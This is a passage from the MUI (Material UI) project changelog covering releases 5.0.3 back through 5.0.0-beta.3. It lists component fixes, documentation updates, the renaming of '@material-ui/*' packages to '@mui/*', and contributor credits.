to spacing (#28813) @smmoosavi\n\n### `@mui/styled-engine-sc@5.0.3`\n\n- Don't allow styled-components APIs on mui styled function (#28807) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.50`\n\n- [ButtonUnstyled] Don't set redundant role=button (#28488) @michaldudak\n- [SliderUnstyled] Prevent unknown-prop error when using marks prop (#28868) @hbjORbj\n\n### `@mui/lab@5.0.0-alpha.50`\n\n- [pickers] Change view even if `onViewChange` is set (#28765) @eps1lon\n\n### `@mui/material-next@6.0.0-alpha.4`\n\n- [Button-next] Create Button in material-next (#28313) @michaldudak\n\n### Docs\n\n- [docs] Add alike v4 default button color in migration (#28881) @siriwatknp\n- [docs] Use PNG instead of SVG for color preview (#28699) @eps1lon\n- [docs] Use client-side navigation when activating docsearch results (#28750) @eps1lon\n- [docs] Fluid icon size in icons search (#28747) @eps1lon\n- [docs] Fix the wrong import in docs grid page (#28863) @taghi-khavari\n- [docs] Fix typo in Pagination docs (#28864) @ZeeshanTamboli\n- [docs] Fix 404 links (#28710) @mnajdova\n- [docs] Fix typo in Mui CSS classname (#28725) @cacpgomes\n- [docs] Match example to codesandbox demo and update ID link (#28762) @AnilSeervi\n- [docs] Fix typo in system/box documentation (#28822) @iamsergo\n- [docs] Use HTML standards for autocomplete attributes (#28827) @epodol\n- [docs] Improve styled-components integration (#28713) @mnajdova\n- [docs] Correct Select's menu placement description (#28748) @michaldudak\n- [docs] AdapterDayJS -> AdapterDayjs (#28770) @veerreshr\n- [docs] Theme documentation, typo fix (#28805) @saeedseyfi\n- [docs] Add the last diamond sponsor (#28737) @hbjORbj\n- [docs] Fix various links in CONTRIBUTING (#28751) @AnilSeervi\n- [docs] Only add JSS to demos (#28698) @eps1lon\n- [docs] Update v5 status in release schedule (#28700) @owais635\n- [docs] Fix typo in /guides/styled-engine (#28720) @Sharry0\n- [docs] Fix typo in chip documentation (#28641) @avranju94\n- [docs] Fix versions page (#28682) @mnajdova\n- [docs] Remove legacy team page (#28646) @mnajdova\n\n### Core\n\n- [core] Remove `--exact` from `release:version` (#28840) @siriwatknp\n- [core] Neglect framer from release flow (#28680) @siriwatknp\n- [test] Add a test for not allowing styled-components' APIs on mui `styled` function (#28862) @hbjORbj\n- [test] Fix instances where type tests were only passing due to object being part of ReactNode (#28804) @eps1lon\n- [test] Move ByMuiTest to test/utils (#28509) @eps1lon\n\nAll contributors of this release in alphabetical order: @AnilSeervi, @avranju94, @cacpgomes, @danilo-leal, @epodol, @eps1lon, @hbjORbj, @iamsergo, @michaldudak, @mnajdova, @owais635, @saeedseyfi, @Sharry0, @siriwatknp, @smmoosavi, @taghi-khavari, @veerreshr, @yevheniiminin, @ZeeshanTamboli\n\n## 5.0.2\n\n<!-- generated comparing v5.0.1..master -->\n\n_Sep 29, 2021_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔧 Improve `jss-to-styled` codemod to use new package names.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.0.2`\n\n- [Checkbox] Fix form submission with empty value (#28423) @garronej\n- [Slider] Don't error on minimal changes with readonly value (#28472) @eps1lon\n- [Switch] Fix style overrides on input (#28576) @praveenkumar-kalidass\n- [useMediaQuery] Add types for `matchMedia` option and deprecate exported interfaces (#28413) @eps1lon\n\n### `@mui/codemod@5.0.2`\n\n- [codemod] Add MenuItem v.1.0.0 transform for primaryText property (#28640) @dmitry-yudakov\n- [codemod] Update the imports in `jss-to-styled` to match the new package names (#28667) @mnajdova\n\n### `@mui/system@5.0.2`\n\n- [system] Fix types to support theme callbacks on pseudo and nested selectors (#28570) @mnajdova\n\n### Docs\n\n- [docs] Remove languages: fr, de, ja, es, ru (#28663) @mnajdova\n- [docs] Improve old doc versions discoverability (#28651) @danilo-leal\n- [docs] Make the Toggle Button size demo use default icon size (#28656) @danilo-leal\n- [docs] Uniformize the code's font family (#28582) @oliviertassinari\n- [docs] Removed duplicate line in date-ranger-picker.md file (#28635) @naveen-bharathi\n- [docs] Fix title MUI x2 (#28634) @oliviertassinari\n- [docs] Polish email validation logic (#28255) @kiznick\n- [docs] Improve migration-v4.md phrasing (#28253) @adamthewebguy\n- [docs] Fix color in example (#28527) @alexeagleson\n- [docs] Fix typo in generated class names section (#28549) @fxlemire\n- [docs] Mention Premium pricing cap (#28581) @oliviertassinari\n- [docs] Update examples to use latest mui #28565 @siriwatknp\n- [docs] Push the fixes on Next.js's Link to the examples (#28178) @oliviertassinari\n- [docs] Fix wrong name for zIndex's property example in /system/ (#28541) @chetrit\n- [examples] Nextjs Link missing passHref #28588 (#28661) @Brlaney\n\n### Core\n\n- [core] Improve Renovate groups (#28642) @eps1lon\n- [core] Batch small changes (#28553) @oliviertassinari\n- [test] Document where the value for SwitchBase#value comes from (#28638) @eps1lon\n- [test] Make `seconds` `views` test pass in browsers (#28511) @eps1lon\n\nAll contributors of this release in alphabetical order: @adamthewebguy, @alexeagleson, @Brlaney, @chetrit, @danilo-leal, @dmitry-yudakov, @eps1lon, @fxlemire, @garronej, @kiznick, @mnajdova, @naveen-bharathi, @oliviertassinari, @praveenkumar-kalidass, @siriwatknp\n\n## 5.0.1\n\n<!-- generated comparing v5.0.0..master -->\n\n_Sep 22, 2021_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 🔎 Improve the search on the documentation.\n- 📚 Improve the v4 to v5 migration guide.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@mui/material@5.0.1`\n\n- [Radio] Fix support for number value type (#26772) @sakura90\n- [useMediaQuery] Reduce bundle size (#28412) @eps1lon\n\n### `@mui/codemod@5.0.1`\n\n- [codemod] Cover edge case for theme-spacing #28400 @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.48`\n\n- [DateTimePicker] Support `seconds` `view` (#25095) @breitembach\n- [TimePicker] Fire change event when meridiem changes (#26600) @coder-freestyle\n\n### Docs\n\n- [docs] Fix missing exit animation for transition Poppers (#28506) @eps1lon\n- [docs] Fix migration v5 docs (#28530) @siriwatknp\n- [docs] Avoid re-mounting the whole tree when switching theme direction (#28495) @eps1lon\n- [docs] Fix html compliance (#28429) @oliviertassinari\n- [docs] Use hyphen-case for CSS properties in /system/properties (#28489) @chetrit\n- [docs] Update caret position in comments to match npm scope (#28426) @eps1lon\n- [docs] Fix CONTRIBUTING to point out to master as targeted branch (#28396) @mnajdova\n- [docs] Update examples to remove 'beta' (#28475) @oliviertassinari\n- [docs] Fix 404 links to MUI X API (#28176) @oliviertassinari\n- [docs] Fix broken/incorrect attributes links in Avatar and NativeSelect API pages (#28417) @xenostar\n- [docs] Explain how `<Alert icon={false} />` behaves (#28348) @nguyenkhanhnam\n- [docs] Fix typo in /system/the-sx-prop (#28393) @danwoods\n- [docs] Correct the migration doc (#28391) @michaldudak\n- [docs] Fix the notification display logic (#28389) @oliviertassinari\n- [docs] Add notification for v5 @oliviertassinari\n- [docs] Fix typo (#28521) @valse\n\n### Core\n\n- [core] Fix release:changelog base branch (#28533) @mnajdova\n- [core] Remove code handling JSS components (#28421) @eps1lon\n- [core] Remove unused dependencies (#28468) @eps1lon\n- [core] Ensure both docs bundles are analyzeable (#28410) @eps1lon\n- [core] Switch to webpack 5 (#28248) @eps1lon\n- [core] Batch small changes (#28177) @oliviertassinari\n- [core] Update publish tag to latest (#28382) @mnajdova\n- [framer] Update @mui/\\* dependencies (#28469) @eps1lon\n- [test] Add custom queries to `screen` (#28507) @eps1lon\n- [test] Run listChangedFiles against master (#28504) @eps1lon\n- [test] Increase BrowserStack timeout for Firefox (#28476) @oliviertassinari\n- [test] Use testing-library alpha when running React 18 tests (#28267) @eps1lon\n\nAll contributors of this release in alphabetical order: @breitembach, @chetrit, @coder-freestyle, @danilo-leal, @danwoods, @eps1lon, @hbjORbj, @michaldudak, @mnajdova, @nguyenkhanhnam, @oliviertassinari, @sakura90, @siriwatknp, @valse, @xenostar\n\n## 5.0.0\n\n<!-- generated comparing v5.0.0-rc.1..next -->\n\n_Sep 16, 2021_\n\nAfter over 400 days of development and over 40 canary releases, we are excited to introduce [MUI Core v5.0.0](https://mui.com/blog/mui-core-v5/)!\n\nSome statistics with the released of v5.0.0 compared to the one of v4.0.0:\n\n- 5,832 new commits\n- From 2M downloads/month to 9.5M downloads/month on npm\n- From 350k users/month to 700k users/month on the documentation\n\nA big thanks to the 600+ contributors who made the release possible!\n\nThe 5.0.0 version includes all changes done in the alpha, beta, and rc releases listed below.\nThese are the changes done from the last release candidate version (5.0.0-rc.1):\n\n### `@mui/material@5.0.0`\n\n- [Autocomplete] Fix reset value on blur for freeSolo input (#28190) @praveenkumar-kalidass\n- [ButtonBase] Revert to the pre-unstyled implementation (#28225) @michaldudak\n- [Checkbox] Fix color proptype typo (#28265) @sydneyjodon-wk\n- [Tooltip] Ensure user-select CSS property is reverted after touch end (#28372) @tholman\n\n### `@mui/system@5.0.0`\n\n- [system] Fix missing typings for createSpacing (#28361) @eps1lon\n\n### `@mui/codemod@5.0.0`\n\n- [codemod] Fix jss-to-styled to support other export class, function etc. (#28321) @jedwards1211\n\n### `@mui/lab@5.0.0-alpha.46`\n\n- [DateTimePicker] Change bottom position of AM/PM buttons (#27534) @nikitabobers\n- [pickers] Add visual regression tests for open views (#28224) @eps1lon\n\n### Docs\n\n- [blog] Introducing MUI Core v5.0 (#27912) @oliviertassinari\n- [docs] Fix quotes in font-face literal (#28260) @Aurelain\n- [docs] Update redirects to X's docs (#28263) @m4theushw\n- [docs] Change Material UI to MUI in the console (#28270) @mbrookes\n- [docs] Docs redesign adjustments (#28203) @mnajdova\n- [docs] How to compose theme in steps (#28246) @goncalovf\n- [docs] Fix DataGrid demo console warning in Table docs (#28235) @ZeeshanTamboli\n- [docs] Fix typo in v4 to v5 migration guide (#28353) @zadeviggers\n- [docs] Fix typo in transition docs (#28312) @tamboliasir1\n- [docs] Use https for material-ui & reactcommunity links (#28304) @aghArdeshir\n- [docs] Add IBM Plex font locally (#28325) @siriwatknp\n- [docs] Fix failing client-side navigation for /api routes (#28356) @eps1lon\n- [docs] Update the nav order (#28323) @mbrookes\n- [docs] Compress images with ImageOptim @oliviertassinari\n- [docs] Replace remaining unstyled package reference (#28351) @michaldudak\n- [docs] No import from react-router (#28329) @eps1lon\n\n### Core\n\n- [core] Replace Material UI with MUI (#28243) @mnajdova\n- [core] Prepare for v5 stable release (#28240) @mnajdova\n- [core] Mark lines that needs to be changed with a major release (#28238) @mnajdova\n- [core] Various updates to what we consider the default branch (#28328) @eps1lon\n- [core] Remove experimental bundle size tracking page (#28334) @eps1lon\n- [core] Support release:build with cmd.exe (#28318) @michaldudak\n- [core] Remove unnecessary titleize warning (#28349) @eps1lon\n- [core] Batch small fixes (#28381) @oliviertassinari\n- [test] Recommend yarn t over test:watch (#28254) @eps1lon\n- [test] Lazily import fixtures (#28239) @eps1lon\n- [test] Assert on user-select that has the same value across browsers (#28378) @eps1lon\n\nAll contributors of this release in alphabetical order: @aghArdeshir, @Aurelain, @eps1lon, @goncalovf, @jedwards1211, @m4theushw, @mbrookes, @michald\nudak, @mnajdova, @nikitabobers, @praveenkumar-kalidass, @siriwatknp, @sydneyjodon-wk, @tamboliasir1, @tholman, @zadeviggers, @ZeeshanTamboli\n\n## 5.0.0-rc.1\n\n<!-- generated comparing v5.0.0-rc.0..next -->\n\n_Sep 8, 2021_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 📚 Improved the codemod and migration guide for upgrading to v5\n- 🐛 Fixed some bugs and regressions\n\n### `@mui/material@5.0.0-rc.1`\n\n- [Autocomplete] Fix virtualization regression (#28129) @oliviertassinari\n- [Button] Use deeper imports from unstyled, correct docs (#28074) @michaldudak\n- [ButtonBase] Fix ripple persisting on blur (#28186) @michaldudak\n- [Link] Infer `ref` type from `component` (#28101) @eps1lon\n- [Popper] Fix bundle size regression (#27910) @oliviertassinari\n- [Select] Merge `ref` of `Select` and `input` element (#28054) @DouglasPds\n- [Tabs] Improve error message formatting for invalid `value` (#28172) @eps1lon\n\n### `@mui/system@5.0.0-rc.1`\n\n- [system] Change type of return value of overridesResolver (#28220) @hbjORbj\n- [system] Fix zero value condition (#28219) @siriwatknp\n- [system] Shorten class names in production (#27932) @oliviertassinari\n\n### `@mui/codemod@5.0.0-rc.1`\n\n- [codemod] Fix various reported issues on `preset-safe` (#28183) @mnajdova\n\n### `@mui/lab@5.0.0-alpha.46`\n\n- [ClockPicker] Fix to narrow hover area for am hours in am/pm clock (#28207) @eps1lon\n- [Masonry] Improve the styling on the demos (#27957) @hbjORbj\n- [MasonryItem] Fix crash on unmount when using React 18 (#28202) @eps1lon\n\n### Docs\n\n- [docs] Fixes makeStyles migration example (#28213) @RomarQ\n- [docs] Fix some outdated migration guide (#28222) @siriwatknp\n- [docs] Update previews (#28223) @eps1lon\n- [docs] Demo how to use a specific slide direction for Snackbar (#28211) @goncalovf\n- [docs] Improve docs for creating dark theme (#28104) @mnajdova\n- [docs] Don't use Material theme in unstyled demos (#28073) @michaldudak\n- [docs] Fix api doc import example (#28199) @siriwatknp\n- [docs] Remove demo for re-creating Material UI switches (#28042) @eps1lon\n- [docs] Improve legibility of CTA on landing page (#28124) @akashshyamdev\n- [docs] Fix Link outdated default underline prop (#28134) @outofgamut\n- [docs] Fix branding theme leaking on the templates (#28120) @mnajdova\n- [docs] Fix wrong package name in codemod (#28118) @aleccaputo\n- [docs] Cancelled subscription @oliviertassinari\n- [docs] Remove style duplication (#28087) @oliviertassinari\n- [docs] Fix migration guide typo (#28113) @paullaros\n- [docs] Reorder app bar actions (#28089) @mnajdova\n- [docs] Support Material design theme in MarkdownElement (#28109) @eps1lon\n- [docs] Improve diamond sponsors in the navigation (#28090) @mnajdova\n- [docs] Remove unnecessary comma (#28072) @michaldudak\n\n### Core\n\n- [core] Misc bundle size tracking improvements (#28205) @eps1lon\n- [core] Ensure code preview is valid JavaScript (#28215) @eps1lon\n- [core] Create @mui/material-next package (#28200) @michaldudak\n- [core] Rename directories to match the new package names (#28185) @mnajdova\n- [core] Remove unused include (#28187) @eps1lon\n- [core] Fix PR detection mechanism for upstream PRs (#28171) @eps1lon\n- [core] Simplify ResizeObserver logic (#28037) @oliviertassinari\n- [core] Include TS modules in rollup import resolution (#28094) @michaldudak\n- [test] Update test to consider unsuppressed double render logs in React 18 (#28068) @eps1lon\n- [typescript] Make types of componentsProps consistent (#27499) @michaldudak\n\nAll contributors of this release in alphabetical order: @akashshyamdev, @aleccaputo, @DouglasPds, @eps1lon, @goncalovf,\n@hbjORbj, @michaldudak, @mnajdova, @oliviertassinari, @outofgamut, @paullaros, @RomarQ, @siriwatknp\n\n## 5.0.0-rc.0\n\n<!-- generated comparing v5.0.0-beta.5..next -->\n\n_Sep 1, 2021_\n\nA big thanks to the 18 contributors who made this release possible. Here are some highlights ✨:\n\n- 🎉 Renamed packages to `@mui/*` as part of rebranding the company, following the strategy of expanding the library scope beyond Material Design. For more details about it, check the [GitHub discussion](https://github.com/mui/material-ui/discussions/27803).\n- 🛠 Added `mui-replace` codemod for migrating `@material-ui/*` to new packages `@mui/*`. Check out this [codemod detail](https://github.com/mui/material-ui/blob/v5.0.0/packages/mui-codemod/README.md#mui-replace) or head to [migration guide](https://mui.com/material-ui/migration/migration-v4/#preset-safe)\n- 🧪 Added new `<Mansory>` component to the lab, [check it out](https://mui.com/components/masonry/). It has been crafted by our first intern, @hbjORbj 👏!\n\n### `@mui/material@5.0.0-rc.0`\n\n#### Breaking changes\n\n- [core] Rename packages (#28049) @mnajdova\n\n  replace `@material-ui/*` prefix with `@mui/*`:\n\n  ```bash\n  @material-ui/system -> @mui/system\n  @material-ui/styles -> @mui/styles\n  @material-ui/lab -> @mui/lab\n  @material-ui/types -> @mui/types\n  @material-ui/styled-engine -> @mui/styled-engine\n  @material-ui/styled-engine-sc ->@mui/styled-engine-sc\n  @material-ui/private-theming -> @mui/private-theming\n  @material-ui/codemod -> @mui/codemod\n  ```\n\n  except these 3 packages that are renamed.\n\n  ```bash\n  @material-ui/core => @mui/material        // represents Material Design components.\n  @material-ui/icons => @mui/icons-material // represents Material Design icons.\n  @material-ui/unstyled => @mui/base        // fully functional components with minimum styles.\n  ```\n\n  > **Note**: `@mui/base` (previously `@material-ui/unstyled`) is not the same as `@material-ui/core`.\n\n  We encourage you to use the [codemod](https://github.com/mui/material-ui/blob/v5.0.0/packages/mui-codemod/README.md#mui-replace) for smooth migration.\n\n#### Changes\n\n- [Autocomplete] Update warning for `value` prop (#27977) @vedadeepta\n- [ButtonGroup] Update PropTypes to match augmentable interface (#27944) @aaronlademann-wf\n- [CardMedia] Add `image` role if `image` prop is specified but no image `component` is specified (#27676) @eps1lon\n- [InputBase] Fix autofill issue (#28070) @mnajdova\n- [Tabs] Fix indicator position when tab size changes (ResizeObserver) (#27791) @hbjORbj\n- [TextareaAutosize] Sync height when the width of the textarea changes (#27840) @hbjORbj\n- [ToggleButtonGroup] Add \"disabled\" prop (#27998) @chetas411\n- [core] Export types for module augmentation (#28078) @m4theushw\n\n### `@mui/base@5.0.0-alpha.45`\n\n- [Button] Create ButtonUnstyled and useButton (#27600) @michaldudak\n\n### `@mui/lab@5.0.0-rc.0`\n\n- [Masonry] Add new component (#27439) @hbjORbj\n\n### `@mui/codemod@5.0.0-rc.0`\n\n- [codemod] Add `mui-replace` codemod transform (#28060) @siriwatknp\n\n### Docs\n\n- [docs] Fix preview for multiline JSX attributes (#28092) @eps1lon\n- [docs] Add a recommendation for hoisting GlobalStyles to static constant (#28088) @mnajdova\n- [docs] Update toolbar menu to behave closer to default (#28086) @oliviertassinari\n- [docs] Markdown redesign polish (#27956) @mnajdova\n- [docs] Fully translated /api/\\* pages (#28044) @eps1lon\n- [docs] Fix matchSorter import path in Autocomplete (#28063) @StefanBRas\n- [docs] Fix Fab demo overflow on mobile (#28033) @rajzik\n- [docs] Add notistack example compatible with v5.x.x (#27881) @iamhosseindhv\n- [docs] Change sign-up template autocomplete to use \"new-password\" (#28028) @StefanTobler\n- [docs] Improve the support expectations for developers (#27999) @oliviertassinari\n- [docs] Don't use nested ternary (#27986) @eps1lon\n- [docs] Sync redirections from X into Core @oliviertassinari\n- [docs] Fix typo '.MuiOutinedInput' -> '.MuiOutlinedInput' (#27997) @rsxdalv\n- [docs] fix floating action button broken demo (#27976) @rajzik\n- [docs] Update correct variable name (#27960) @bene-we\n- [docs] Fix Performance typo (#27965) @tdmiller1\n- [docs] Add GridExportCSVOptions page to documentation pages (#27951) @flaviendelangle\n\n### Core\n\n- [eslint-plugin-material-ui] Only require translation of word characters and not API (#28043) @eps1lon\n- [core] Use lintable pattern for debounced callbacks (#27985) @eps1lon\n- [core] Remove file-wide disables of `no-use-before-define` (#27984) @eps1lon\n- [core] Improve `release:changelog` script (#27941) @eps1lon\n- [core] Enforce curly braces for block statements (#27946) @eps1lon\n- [test] Disable BrowserStack for PRs (#28041) @eps1lon\n\nAll contributors of this release in alphabetical order: @aaronlademann-wf, @bene-we, @chetas411, @eps1lon, @flaviendelangle, @hbjORbj, @iamhosseindhv, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @rajzik, @rsxdalv, @siriwatknp, @StefanBRas, @StefanTobler, @tdmiller1, @vedadeepta\n\n## 5.0.0-beta.5\n\n<!-- generated comparing v5.0.0-beta.4..next -->\n\n_Aug 24, 2021_\n\nA big thanks to the 26 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 Fixed a lot of bugs and regressions to get us closer to the [v5 stable release milestone](https://github.com/mui/material-ui/milestone/44)\n- 📚 Improved the docs and the migration guide for upgrading to v5\n\n### `@material-ui/core@5.0.0-beta.5`\n\n#### Breaking changes\n\n- [core] Update `.browserslistrc` file (#27788) @DanailH\n\n  The targets of the default bundle have changed:\n  - Chrome 90 (up from 84)\n  - Edge 91 (up from 85)\n  - Safari 14 (macOS) (up from 13.1) and 12.4 (iOS) (up from 12.2)\n  - Opera 76 (up from 70)\n\n- [Autocomplete] Rename Value type to AutocompleteValue (#27804) @michaldudak\n\n  The `useAutocomplete` hook used a type called `Value`. It was a very generic name for a type specific to the `Autocomplete` control, so it was removed to `AutocompleteValue`.\n\n  ```diff\n  -import { Value } from '@material-ui/core/useAutocomplete';\n  +import { AutocompleteValue } from '@material-ui/core/useAutocomplete';\n  ```\n\n#### Changes\n\n- [AppBar] Fix transparency issue on dark mode (#27281) @will-amaral\n- Revert \"[BottomNavigation] onClick does not fire if tapped while scrolling (#22524)\" (#27690) @eps1lon\n- [Autocomplete] Add verbose warning for defaultValue (#27925) @vedadeepta\n- [Badge] Add missing classes to exported class object (#27943) @pvdstel\n- [ButtonGroup] Allow `size` customization via module augmentation (#27834) @aaronlademann-wf\n- [InputBase] Preserve host state when changing `rows` from undefined to defined (#27683) @eps1lon\n- [InputLabel] Apply `asterisk` class when `required` (#27738) @alexile\n- [Select] Fix NativeSelect propagating classes to the DOM element (#27797) @mnajdova\n- [Stack] Match the customization standard (#27777) @oliviertassinari\n- [SvgIcon] Apply custom color if defined in the theme (#27923) @eps1lon\n- [Switch] Add optional `track` slot to SwitchUnstyled (#27916) @michaldudak\n- [Tooltip] Fix broken arrow position in rtl (#27868) @mnajdova\n- [transitions] Allow to run Slide into a custom container (#26623) @benny0642\n\n### `@material-ui/system@5.0.0-beta.5`\n\n#### Breaking changes\n\n- [system] Rename `styleProps` to `ownerState` (#27830) @mnajdova\n\n  The change was done in order to better reflect what they are, not what we think they will be used for.\n\n  ```diff\n   <SomeSlotComponent\n  -  styleProps={propsAndState}\n  +  ownerState={propsAndState}\n   />\n  ```\n\n#### Changes\n\n- [system] Remove dependency on `overridesResolver` for the `variants` (#27859) @mnajdova\n- [system] Forward `classes` prop if no slot specified in the options (#27795) @mnajdova\n- [system] Fix pseudo class overridden in variants (#27847) @hbjORbj\n\n### `@material-ui/icons@5.0.0-beta.5`\n\n- [icons] Improve GitHub size (#27740) @oliviertassinari\n\n### `@material-ui/styled-engine@5.0.0-beta.5`\n\n- [styled-engine] Remove unecessary aliases (#27779) @oliviertassinari\n- [styled-engine] Drop withComponent support (#27780) @oliviertassinari\n\n### `@material-ui/unstyled@5.0.0-alpha.44`\n\n- [core] Utilize `CSS.supports` in `SliderUnstyled` component (#27724) @DanailH\n\n### `@material-ui/lab@5.0.0-alpha.44`\n\n- [DatePicker] Fix click-away logic requiring second click in some cases (#24877) @eps1lon\n- [lab] Use the public API for module augmentation (#27735) @oliviertassinari\n- [Timeline] Fix color=\"inherit\" on TimelineDot (#27794) @mnajdova\n\n### Docs\n\n- [docs] Redesign on markdown page (#27860) @mnajdova\n- [docs] Split changelog into current and old (#27942) @eps1lon\n- [docs] Migration, emphasize theme structure change (#27935) @oliviertassinari\n- [docs] Fix missing `href` for AppDrawerNavItems (#27936) @eps1lon\n- [docs] Pass window of iframe to framed demos (#27924) @eps1lon\n- [docs] Simplify Select Chip demo styling (#27864) @LorenzHenk\n- [docs] Move from Redux to React Context (#27828) @eps1lon\n- [docs] Correct the useAutocomplete import path (#27805) @michaldudak\n- [docs] Fix Tooltip flicker when hovering between code icon and demo (#27841) @eps1lon\n- [docs] Don't log if a request was aborted in ServerRequestDatePicker demo (#27843) @eps1lon\n- [docs] Fix false-positive useToolbar warning when using the demo toolbar menu (#27842) @eps1lon\n- [docs] Add missing import (#27850) @nguyenyou\n- [docs] Fix circular integration demo (#27856) @LorenzHenk\n- [docs] A few examples is enough (#27874) @mekouar-mehdi\n- [docs] Improve README.md (#27852) @surajkumar016\n- [docs] Fix rtl issue on the demos (#27865) @mnajdova\n- [docs] Apply the new branding theme and do the AppBar redesign (#27789) @mnajdova\n- [docs] Improve grammar in 'Align list items' section (#27730) @atorenherrinton\n- [docs] Make API documentation tables horizontally scrollable (#27787) @jakeanq\n- [docs] Fix typo on \"Customized dialogs\" section (#27827) @nomanoff\n- [docs] Fix Autocomplete country layout shift (#27814) @oliviertassinari\n- [docs] Improve accessible labels for Card demos (#27675) @eps1lon\n- [docs] Run in StrictMode by default (#27693) @eps1lon\n- [docs] Display TypeScript code of demo if requested (#27691) @eps1lon\n- [docs] Use country image instead of emoji (#27723) @qiweiii\n- [docs] Zero runtime themeAugmentation documentation (#27706) @eps1lon\n- [docs] Fix MobileTextStepper example to match description (#27682) @nolastemgarden\n- [docs] Document the transfer-list limitations (#27783) @oliviertassinari\n- [docs] Move TypeScript docs in context (#27782) @oliviertassinari\n- [docs] Prefer linking API source TypeScript (#27781) @oliviertassinari\n- [docs] Improve the Modal onClose migration (#27775) @oliviertassinari\n- [docs] Fix outdated styled-engine docs (#27778) @oliviertassinari\n- [docs] Improve right to left guide (#27713) @mnajdova\n- [docs] Consistent line break (#27728) @oliviertassinari\n- [docs] Don't dispatch ignored \"reset code variant\" actions (#27712) @eps1lon\n- [docs] Fix sentence to be more grammatically correct (#27733) @atorenherrinton\n- [examples] Add CodeSandbox config with node version (#27798) @qiweiii\n- Revert \"[examples] Fix nextjs with styled-components example (#27583)\" (#27921) @mnajdova\n- Revert \"[examples] Update create-react-app examples with styled-components to use package aliases (#27591)\" (#27917) @mnajdova\n- [I10n] Add Khmer (kh-KH) locale support (#27915) @teachhay\n\n### Core\n\n- [core] Fix various flip: false regressions (#27920) @mnajdova\n- [core] Fix typo in code comment (#27818) @hamidreza-nateghi\n- [core] Fix typos in repository (#27785) @JEONGJIHUN\n- [test] Current behavior when disabling components variants (#27376) @noviicee\n- [tests Improve test for checking if classes is forwarded to any DOM element (#27815) @mnajdova\n- [tests] Replace legacy `describeConformance` with `describeConformanceV5` (#27817) @mnajdova\n\nAll contributors of this release in alphabetical order: @aaronlademann-wf, @alexile, @atorenherrinton, @benny0642, @DanailH, @eps1lon, @hamidreza-nateghi, @hbjORbj, @jakeanq, @JEONGJIHUN, @LorenzHenk, @mekouar-mehdi, @michaldudak, @mnajdova, @nguyenyou, @nolastemgarden, @nomanoff, @noviicee, @oliviertassinari, @pvdstel, @qiweiii, @siriwatknp, @surajkumar016, @teachhay, @vedadeepta, @will-amaral\n\n## 5.0.0-beta.4\n\n<!-- generated comparing v5.0.0-beta.3..next -->\n\n_Aug 13, 2021_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 Grid's \"auto\" behavior has been fixed by @aaronlademann-wf (#27514)\n- ♿ An important bug with the keyboard navigation in MenuList was fixed (#27526) @ryancogswell\n\n### `@material-ui/core@5.0.0-beta.4`\n\n#### Breaking changes\n\n- [Grid] Fix \"auto\" behavior to match natural width of its content (#27514) @aaronlademann-wf\n\n#### Changes\n\n- [ButtonBase] Fix tabIndex type (#27684) @kylegach\n- [MenuList] Fix text navigation (#27526) @ryancogswell\n- [l10n] Add Arabic Sudan (ar-SD) locale (#27588) @YassinHussein\n- [Radio] Fix size prop forwarding with custom icons (#27656) @DouglasPds\n- [TextField] Password visibility icons ( \"visibility\" ⇔ \"visibility-off\" ) should be reversed (#27507) @tonextone\n- [ToggleButton] Fix handling of color prop (#27635) @oliviertassinari\n\n### `@material-ui/codemods@5.0.0-beta.4`\n\n- [codemod] Fix filename case sensitive duplicate @oliviertassinari\n\n### `@material-ui/system@5.0.0-beta.4`\n\n- [StyledEngineProvider] Remove unnecessary emotion cache export (#27680) @garronej\n- [system] Fix missing filterProps in compose type (#27618) @R-Bower\n\n### `@material-ui/labs@5.0.0-alpha.42`\n\n- [CalendarPicker] Improve contrast between enabled and disabled days (#27603) @nikitabobers\n- [PickersDay] Render `children` if specified (#27462) @abriginets\n- [TreeView] Fix TreeItem label overflow (#27585) @LorenzHenk\n\n### Docs\n\n- [docs] Update guides for @material-ui/styled-engine-sc installation (#27602) @mnajdova\n- [docs] Document that @material-ui/styles is not strict mode compatible (#27639) @oliviertassinari\n- [docs] Link to \"Customization of Theme\" from relevant theme interfaces (#27689) @eps1lon\n- [docs] Update CSP page (#27627) @mnajdova\n- [docs] Reorder and rename \"enforce value\" ToggleButton demo (#27678) @LorenzHenk\n- [docs] Fix missing dependency in the DataGrid demo (#27597) @m4theushw\n- [docs] img should have a src attribute (#27632) @oliviertassinari\n- [docs] Add badges to Transfer List (#27634) @oliviertassinari\n- [docs] Recommend the `direct-import` babel plugin over `transform-import` (#27335) @umidbekk\n- [docs] Remove unused code (#27711) @eps1lon\n- [docs] Improve virtualization demo (#27340) @vedadeepta\n- [examples] Include a follow-up on the example (#27620) @matiasherranz\n\n### Core\n\n- [core] Batch small changes (#27636) @oliviertassinari\n- [core] Change range strategy to bump (#27652) @oliviertassinari\n- [core] Fix visual regression example images (#27660) @eps1lon\n- [core] Remove diff when running yarn docs:dev (#27720) @eps1lon\n- [core] Remove mocks of require.context in markdown loader (#27406) @eps1lon\n- [core] Reduce use CSS when Checkbox disableRipple is set (#27568) @oliviertassinari\n- [test] Add coverage for jss-to-styled prefix from filename (#27522) @eps1lon\n- [test] Add current behavior for a11y name vs visible name for PickersDay (#27661) @eps1lon\n- [test] Dodge double logging in dev mode (#27653) @oliviertassinari\n- [test] Enable skipped test fixed by upstream React fix (#27615) @eps1lon\n- [theme] Add missed variants in Components interface (#27453) @nikitabobers\n\nAll contributors of this release in alphabetical order: @aaronlademann-wf, @abriginets, @DouglasPds, @eps1lon, @garronej, @kylegach, @LorenzHenk, @m4theushw, @matiasherranz, @mnajdova, @nikitabobers, @oliviertassinari, @R-Bower, @ryancogswell, @siriwatknp, @tonextone, @umidbekk, @vedadeepta, @YassinHussein\n\n## 5.0.0-beta.3\n\n<!-- generated comparing v5.0.0-beta.2..next -->\n\n_Aug 6, 2021_\n\nA big thanks to the 15 contributors who made this release possible. Here are some highlights ✨:\n\n- ✨ `jss-to-styled` codemod has been improved to support `createStyles` and `<React.Fragment>` usage (#27578) @mnajdova\n\n### 